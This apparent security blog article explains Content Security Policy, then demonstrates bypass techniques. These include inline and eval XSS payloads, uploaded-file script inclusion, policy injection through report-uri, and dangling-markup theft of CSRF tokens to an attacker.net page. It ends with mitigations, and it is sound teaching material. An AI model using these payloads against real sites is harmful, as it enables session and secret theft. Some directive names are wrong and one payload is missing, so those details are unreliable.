As we all know an inadvertent Cross-Site Scripting (or XSS) bug can lead to information disclosure, session hijacking and malicious behavior on the victim’s behalf causing major damage to the individual(s). Even if it is relatively a lot easier these days to avoid XSS flaws by using reliable Web-Application Frameworks, it can be tricky to do so because of the ever growing need to release new features as quickly as possible resulting in human errors which are inevitable as developers try to keep up with the pace. Thus it becomes important to keep additional and reliable security measures in mind throughout the development cycle, the Content Security Policy comes in for the rescue.
What is Content Security Policy? According to MDN Web Docs:
CSP is used to list and describe the paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. It is is implemented via response headers or meta elements of the HTML page. This instructs the browser how to allow the resources according to the received CSP directives.
There are mainly two ways for implementing CSP on a web page:
1Content-Security-Policy: default-src 'self'; image-src <https://ibb.co> 'self'; script-src 'none' 2
1<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src *; child-src 'none';">></meta> 2
Their are many different directives pertaining to different resources and where they appear on the page, as well as their relation with the current page. These are defined and explained below:
img
tag
data:
, blob:
, filesystem:
schemes
Content-Security-Policy:script-src 'unsafe-inline' 'unsafe-eval'; default 'self';
These directives are vulnerable by their nature. Suppose that an attacker is able to inject some text in a web page, he may be able to execute xss with a payload as simple as:
"><script>alert(1)</script>
since the CSP allows the execution of inline javascript. Also, with unsafe-eval the script can be executed with the payload <img onload=eval('alert(1)')>
Content-Security-Policy: script-src 'self'; image-src 'self'; default-src 'none'
Suppose that the web application consists of a vulnerability which allows the attacker to inject his payload into the HTML of a page but the CSP policy only allows scripts to be loaded from the same domain. This would prevent the attacker from injecting inline javascript and also prevent the loading of javascript source code from external website. However, the web application also consists of a functionality which allows users to upload a file and it's url is known after upload. Let's assume an example web application - www.example-app.com which contains an endpoint that allows users to upload files for eg www.example-app.com/user/upload and the url is predictable / returned in the server response for Eg. www.example-app.com/user/user-id/file-name ,then we can bypass the csp by uploading a file with malicious Javascript code in it and then including it in our payload as "><script src="https://www.example-app.com/user/1243315/payload.js"></script>
. This would bypass the CSP as the resource is coming from the same origin+
Suppose that there is very strict csp:
Content-Security-Policy: script-src 'sha-<unpredictable-hash>';default-src 'self
Then if there is a way to upload a JS file to the server, we can use it to bypass the csp. We just need to frame the url of the uploaded JS file in an iframe and provide src with a relative path to the website. For Eg:
<iframe src="/uploads/user/23532/payload.js"></iframe
This frame would be considered same origin and will be able to access all the elements of the parent.
Consider a scenario where a parameter from the query string of the URL is used to construct the CSP policy. For eg. Take the scenario where the report-uri
directive of CSP is being used to log any violation of the CSP.
The token
parameter of the get request to an endpoint on example.app is used to construct the csp policy. This will allow the attacker to inject his own policy in the csp header.
https://example-app.com/some/endpoint?id=72963&token=%3B%2520script%252Dsrc%252Delem%2520%2527unsafe%252Dinline%2527
Content-Security-Policy: script-src 'self' .....; report-uri /api/report/csp?token=token_value; script-src-elem 'unsafe-inline'
[NOTE] Here we have used the 'script-src-elem' directive, which overrides the behaviour of script-src and defines the sources of the <script> block. Unsafe inline means that attacker can execute his javascript inline by using an injection bug.
In this technique, the attacker can bypass the CSP Policy to exfiltrate secrets like csrf-tokens or autofilled passwords etc. It works due to the fact that browser attempts to always close an opened tag by matching it with the next corresponding closing tag or an opening angle bracket by the nearest closing angle bracket, an opening quote with closing quote and so on.
Consider a scenario where an injection point is discovered on the page which allows image files to be loaded from any source (*).
Content-Security-Policy: image-src *; default-src 'self'
INJECTION HERE <b>test</b>
<script>
token = 'supersecret';
</script>
<form action="blah"></form>
Now if the webpage contains some secrets like csrf-token or passwords,then the attacker can use a browser shenanigan to exfiltrate the data to his own web server by doing something like this:
This would cause the entire text after "?" until the next double quotation mark to be sent as a query string to the attacker's server, thus infiltrating the secret token value.
There is another technique when image-src
is set to 'self' or 'none' or default-src
is 'self' or 'none'
Content-Security-Policy: image-src 'self'; default-src 'none'; base-uri 'none'
In this case the successful exploitation of dangling markup injection may require certain user interaction of clicking on a button.
Taking the same scenario as above, we have our injection point
INJECTION HERE <b>test</b>
<script>
token = 'supersecret';
</script>
<form action="blah"></form>
Now, we will create a button which the user should click and set the target of base tag with dangling markup:
<a href="https://attacker.net/exfil_data.html">Click Me</a><base target="
<script>
token = 'supersecret';
</script>
<form action="blah"></form>
This will cause the window.name to be set to the markup after the double quotes of the target attribute, and since window name can be shared cross origin we can simply exfiltrate the secret by printing the value of window.name
in the exfil_data.html on the attacker's server
Many websites provide endpoints which support JSONP callbacks, which basically allow attackers to specify a callback function after receiving json response in the url itself which is included as a parameter for eg &callback=alert(1)
.
In this scenario, some trusted sites are allowed to load resources on the website, for eg. https://www.youtube.com which can be bypassed using the JSONP callback parameter. This site contains a list of all the sites that can be bypassed using JSONP along with the payloads
Mitigating against various CSP bypass mechanisms involves employing a combination of carefully crafted directives and strategic policy implementation. To counter potential script injection attacks, it's crucial to define stringent policies for script sources. Utilizing the 'self' directive, as shown in the examples "script-src 'self'", ensures scripts are only loaded from the same origin as the page. You must be confident in the fact that no attacker input can reach any file hosted on your server. Caution should be exercised with external domains; specifying specific trusted sources, like "script-src https://scripts.normal-website.com", can minimize risk. For added security, CSP offers nonces and hashes. Nonces, randomly generated per page load, should match the script tag's nonce attribute. Hashes validate script content integrity. Similarly, guarding against dangling markup threats involves employing directives such as "img-src 'self'" or "img-src https://images.normal-website.com" to restrict image origins. Policy injection vulnerabilities can be addressed by avoiding reflecting input into report-uri directives and by utilizing new directives like "script-src-elem" to overwrite existing script-src rules. Lastly, clickjacking concerns are mitigated by employing "frame-ancestors" directives to control framing origins. Employing CSP in tandem with the X-Frame-Options header ensures a multi-layered approach to protection across different browsers, including older ones like Internet Explorer.
CSP Bypass: Common Techniques and Mitigations
Content Security Policy
Misconfigurations and Bypasses
Common Mitigations